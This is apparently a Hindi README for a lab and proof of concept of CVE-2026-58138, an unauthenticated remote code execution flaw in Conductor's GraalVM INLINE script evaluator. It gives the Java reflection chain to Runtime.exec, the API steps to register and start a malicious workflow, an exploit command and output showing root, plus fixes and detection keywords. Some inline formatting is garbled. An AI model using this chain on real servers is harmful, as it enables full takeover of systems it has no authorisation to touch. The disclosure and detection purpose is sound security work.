
CVE-2026-58138 — Conductor (3.21.21..<3.30.2) INLINE GraalVM evaluator (HostAccess.ALL) के माध्यम से बिना प्रमाणीकरण वाला RCE। Lab + PoC, e2e सत्यापित (root)।
TL;DR: Orkes/OSS Conductor (संस्करण
3.21.21से< 3.30.2)INLINEकार्यों में उपयोगकर्ता द्वारा प्रदान की गई JavaScript का मूल्यांकन पूर्ण होस्ट पहुँच (HostAccess.ALL) वाले GraalVM संदर्भ का उपयोग करके करता है। चूंकि सामुदायिक API में डिफ़ॉल्ट रूप से कोई प्रमाणीकरण नहीं है, कोई भी अप्रमाणित उपयोगकर्ता एक दुर्भावनापूर्ण वर्कफ़्लो सबमिट कर सकता है, बंधी हुई JavaScript वस्तु सेjava.lang.Runtimeतक पहुँच बनाकर, और Conductor प्रक्रिया उपयोगकर्ता (अक्सर ) के रूप में प्राप्त कर सकता है।
root| गुण | विवरण |
|---|---|
| CVE पहचानकर्ता | CVE-2026-58138 |
| प्रभावित सॉफ़्टवेयर | Conductor 3.21.21 से 3.30.1 तक |
| फिक्स संस्करण | 3.30.2 (कमिट: 87a7d96, c691e35) |
| भेद्यता वर्ग | CWE-94: कोड इंजेक्शन (GraalVM पॉलीग्लॉट सैंडबॉक्स बाइपास) |
| CVSS v3.1 स्कोर | 9.8 (क्रिटिकल) AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| प्रमाणीकरण | कोई नहीं (सामुदायिक API डिफ़ॉल्ट रूप से अप्रमाणित है) |
| सत्यापन | conductoross/conductor:3.22.3 के विरुद्ध root के रूप में पुष्टि की गई |
संस्करण नोट:
~3.29.xतक के संस्करण सादाallowHostAccess(HostAccess.ALL)कॉन्फ़िगरेशन का उपयोग करते हैं, जिसका यह PoC सीधे शोषण करता है। संस्करण3.30.0और3.30.1ने आंशिक ब्लॉकलिस्ट (कुछ रिफ्लेक्शन को अवरुद्ध करना) पेश किया, लेकिन पूर्ण फिक्स (allowHostClassLoading(false)+ इंजन हार्डनिंग) केवल3.30.2में लागू किया गया था। यह PoC बिना सैंडबॉक्स वाले कॉन्फ़िगरेशन को लक्षित करता है।
यह भेद्यता Conductor द्वारा स्क्रिप्ट मूल्यांकन के लिए GraalVM पॉलीग्लॉट संदर्भ को कॉन्फ़िगर करने के तरीके में मौजूद है।
core/.../events/ScriptEvaluator.java (≤ 3.29.x) में, संदर्भ इस प्रकार बनाया गया है:
return Context.newBuilder("js")
.allowHostAccess(HostAccess.ALL) // खतरा: पूर्ण होस्ट इंटरॉप, कोई सैंडबॉक्स नहीं
.build();
यह 'गेम ओवर' क्यों है:
HostAccess.ALL JavaScript इंजन को जावा होस्ट ऑब्जेक्ट पर कोई भी विधि कॉल करने या कोई भी फ़ील्ड एक्सेस करने की अनुमति देता है।INLINE कार्य अपने इनपुट पैरामीटर को JavaScript वेरिएबल $ से बाँधता है, जो एक वास्तविक जावा ऑब्जेक्ट है।$ से शुरू करके जावा रिफ्लेक्शन की श्रृंखला बना सकता है:
$.getClass().getClass() ➔ java.lang.Class ➔ Class.forName("java.lang.Runtime") ➔ Runtime.getRuntime().exec("sh -c <command>").Context.newBuilder("python").allowAllAccess(true)) में भी मौजूद है।हमले के लिए शून्य प्रमाणीकरण की आवश्यकता होती है और यह तीन सरल चरणों का पालन करता है:
/api/metadata/workflow पर एक POST अनुरोध भेजें जिसमें एक दुर्भावनापूर्ण वर्कफ़्लो परिभाषा हो। INLINE कार्य में अपने expression फ़ील्ड में रिफ्लेक्टिव JavaScript पेलोड होता है।/api/workflow/{workflow_name} पर एक POST अनुरोध भेजें।Runtime.exec OS कमांड चलाता है, और PoC चतुराई से stdout को कैप्चर करता है और इसे कार्य के result आउटपुट के रूप में लौटाता है, जिसे बाद में API के माध्यम से प्राप्त किया जाता है।Docker का उपयोग करके भेद्य Conductor संस्करण का एक स्थानीय इंस्टेंस प्रारंभ करें।
# रिपॉजिटरी क्लोन करें और लैब वातावरण प्रारंभ करें
docker compose -f docker/docker-lab.yml up -d
# ऑल-इन-वन सर्वर को पूरी तरह से बूट होने में ~60 सेकंड प्रतीक्षा करें
प्रदान की गई Python शोषण स्क्रिप्ट चलाएँ। यह केवल Python मानक पुस्तकालय पर निर्भर करती है (कोई बाहरी निर्भरता आवश्यक नहीं)।
python3 exploit.py http://127.0.0.1:8080 -c "id; hostname; whoami"
[*] Target: http://127.0.0.1:8080
[*] Command: 'id; hostname; whoami'
[*] Registering workflow with a malicious INLINE (javascript) task ... (no auth)
[*] Starting workflow execution ... (no auth)
[*] Started workflow id=pwn_1705432100; reading INLINE task output ...
[+] UNAUTHENTICATED RCE CONFIRMED - command output from the Conductor host:
uid=0(root) gid=0(root) groups=0(root)
vbox
Linux 6.18.12+deb13-amd64
नोट: uid=0(root) आउटपुट होस्ट पर वास्तविक निष्पादन साबित करता है, न कि नकली प्रतिक्रिया।
सफल शोषण हमलावर को Conductor ऑर्केस्ट्रेटर होस्ट पर मनमाना OS कमांड निष्पादन प्रदान करता है।
क्योंकि Conductor को अक्सर बुनियादी ढांचे के प्रबंधन के लिए उन्नत विशेषाधिकारों के साथ तैनात किया जाता है, इसका परिणाम आमतौर पर होता है:
≥ 3.30.2 में अपडेट करें। इस संस्करण में, JS और Python मूल्यांकनकर्ता अब होस्ट एक्सेस या क्लास लोडिंग सक्षम करके नहीं चलते हैं।अपने वातावरण में समझौते के निम्नलिखित संकेतकों (IoCs) की निगरानी करें:
INLINE, LAMBDA, DO_WHILE, या SWITCH कार्य को चिह्नित करें जिनमें expression स्ट्रिंग्स संदर्भित करती हैं:
getClass, forName, Runtime, exec, ProcessBuilderjava.lang.reflect या सामान्य java. पैकेज एक्सेसsh, bash, cmd.exe) को स्पॉन करती हैं या आउटबाउंड नेटवर्क कनेक्शन बनाती हैं।रिफ्लेक्शन श्रृंखला, संस्करण-विशिष्ट मूल्यांकनकर्ता कॉन्फ़िगरेशन और पैच विश्लेषण के गहन अध्ययन के लिए ANALYSIS.md देखें।
अस्वीकरण: इस रिपॉजिटरी में एक स्वतंत्र, पुनरुत्पादनीय प्रयोगशाला और प्रूफ ऑफ कॉन्सेप्ट (PoC) है जो केवल रक्षात्मक, शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए है। इस कोड का उपयोग उन सिस्टमों के विरुद्ध न करें जिनके आप मालिक नहीं हैं या जिनके लिए आपके पास स्पष्ट लिखित अनुमति नहीं है। लेखक दुरुपयोग के लिए कोई दायित्व स्वीकार नहीं करते हैं।